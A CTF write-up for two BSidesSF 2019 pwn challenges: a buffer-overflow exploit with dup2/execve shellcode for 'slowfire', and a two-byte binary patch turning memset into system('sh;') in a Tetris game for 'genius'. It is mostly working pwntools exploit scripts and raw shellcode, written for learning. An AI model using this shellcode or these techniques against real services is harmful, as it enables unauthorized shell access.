# BSidesSF 2019 CTF ###### tags: `2019 pwn challenge` ## slowfire A basic bof problem, but the binary is like a server that forks the process and talks to it via a file descriptor. We have to use dup2() to duplicate the socket's fd to fd 0 and fd 1, such that when we execute our shellcode, we can send input and see output from our shell. I set the name to `/bin/sh\x00 + shellcode`, and return to it since it has RWX turned on. #### shellcode ``` 0: 48 31 f6 xor rsi,rsi 3: 48 c7 c0 21 00 00 00 mov rax,0x21 a: 0f 05 syscall c: 48 ff c6 inc rsi f: 48 c7 c0 21 00 00 00 mov rax,0x21 16: 0f 05 syscall 18: 48 c7 c7 c0 40 40 00 mov rdi,0x4040c0 1f: 48 31 f6 xor rsi,rsi 22: 48 31 d2 xor rdx,rdx 25: 48 c7 c0 3b 00 00 00 mov rax,0x3b 2c: 0f 05 syscall ``` #### final script ```python= from pwn import * p = remote('localhost', 4141) shellcode = "\x48\x31\xF6\x48\xC7\xC0\x21\x00\x00\x00\x0F\x05\x48\xFF\xC6\x48\xC7\xC0\x21\x00\x00\x00\x0F\x05\x48\xC7\xC7\xC0\x40\x40\x00\x48\x31\xF6\x48\x31\xD2\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05" p.recvuntil('name> ') p.sendline('/bin/sh\x00'+shellcode) p.recvuntil('message> ') p.send('A'*0x3ff) pause() p.sendline('B'*0x39+p64(0x4040C0+8)) p.interactive() ``` ## genius The challenge gave us two binaries. The 'loader' reads the 'genius' on stack, then we can modify two bytes and exectue it. The 'genius' binary doesn't seem to have any bugs, so we would have to patch the binary to make it exploitable. Lets first look at how the patching is done. We can enter a secret code, each letter gets transfered into a 4 bit number, and each secret code(consist of 6 letters) represents an offset and a byte which we want to modify into. The rules looks like this > offset = (v4 & 7|v3 & 8) | (v2 & 7 | v1 & 8)<<4 | (v5 & 7 | v4 & 8)<<8 | (v3 & 7)<<12 > byte = (v0 & 7 | v5 & 8) | (v1 & 7 | v0 & 8)<<4 > v0~5 are the first, second... last letter transfered to numbers The first thing that caught my eye was the memset function called when we end the game. We also have the system.plt function. We can modify the call to memset to a call to system. The second thing we would like to do is have the tetris board state to represent 'sh;' so the call to memset now becomes `system('sh;')` ![](https://i.imgur.com/i1dajRJ.png) Because it is pretty hard to represent 'sh;' at the lower board of tetris, we can modify the `push game_board_offset` to a higher offset so that we can focus on constructing the middle board state like the screenshot above. > patch push 0x0804b1a0 --> 0x0804b1ab I'm really bad at playing tetris so I copied the gameplay code by [this writeup](https://github.com/VoidHack/write-ups/tree/master/BSidesSF%202019%20CTF/pwn/genius) secret code generator: ```python= trans = {'A':0,'E':8,'G':4,'I':5,'K':12,'L':3,'N':15,'O':9,'P':1,'S':13,'T':6,'U':11,'V':14,'X':10,'Y':7,'Z':2} def gen_code(offset, byte): assert offset <= 0x2730 off_1 = offset & 0xf off_2 = offset >> 4 & 0xf off_3 = offset >> 8 & 0xf off_4 = offset >> 12 & 0xf b_1 = byte & 0xf b_2 = byte >> 4 & 0xf v0 = b_1 & 0x7 | b_2 & 0x8 v1 = b_2 & 0x7 | off_2 & 0x8 v2 = off_2 & 0x7 v3 = off_1 & 0x8 | off_4 & 0x7 v4 = off_1 & 0x7 | off_3 & 0x8 v5 = off_3 & 0x7 | b_1 & 0x8 num_to_code = {} for key, val in trans.items(): num_to_code[val] = key res = num_to_code[v0]+num_to_code[v1]+num_to_code[v2]+num_to_code[v3]+num_to_code[v4]+num_to_code[v5] print res return res ``` exploit script: ```python= from secret_code import gen_code from pwn import * context.terminal = ['tmux','splitw','-h'] #context.log_level = 'DEBUG' p = process('./loader') p.recvuntil('continue!\n\n') p.sendline(gen_code(0x1551, 0x8b)) p.recvuntil('<enter>\n') p.sendline(gen_code(0x154c, 0xab)) #gdb.attach(p, ''' #set follow-fork-mode child #continue #''') p.recvuntil('+----------+') p.recvuntil('+----------+') ## ## p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ## # p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ### p.sendline('a') p.sendline('a') p.sendline('a') p.sendline('a') p.sendline('a') p.sendline('a') p.sendline('a') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ### p.sendline('e') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') ## ## p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ## # p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ## # p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ### p.sendline('q') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') ## ## p.sendline('d') p.sendline('d') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ## # p.sendline('a') p.sendline('a') p.sendline('a') p.sendline('a') p.sendline('a') p.sendline('a') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ### p.sendline('e') p.sendline('a') p.sendline('a') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ### p.sendline('e') p.sendline('d') p.sendline('d') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ### p.sendline('q') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ## # p.sendline('d') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ### p.sendline('q') p.sendline('a') p.sendline('a') p.sendline('a') p.sendline('a') p.sendline('a') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') #### p.sendline('q') p.sendline('d') p.sendline('d') # p.sendline('s') for i in range(13): p.recvuntil('+----------+') p.recvuntil('+----------+') p.sendline('d') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ## # p.sendline('d') p.sendline('d') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') ## ## p.sendline('a') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ### p.sendline('q') p.sendline('q') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ### p.sendline('d') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ## # p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') #### p.sendline('q') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ### p.sendline('e') p.sendline('e') p.sendline('a') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ### p.sendline('e') p.sendline('d') p.sendline('d') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ### p.sendline('q') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('d') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ### p.sendline('a') p.sendline('a') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ### p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') # ### p.sendline('a') p.sendline('a') p.sendline('a') p.sendline('a') p.sendline('q') p.sendline('a') p.sendline('a') for i in range(8): p.recvuntil('+----------+') p.recvuntil('+----------+') p.sendline('d') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') p.sendline('s') p.recvuntil('+----------+') p.recvuntil('+----------+') p.interactive() ```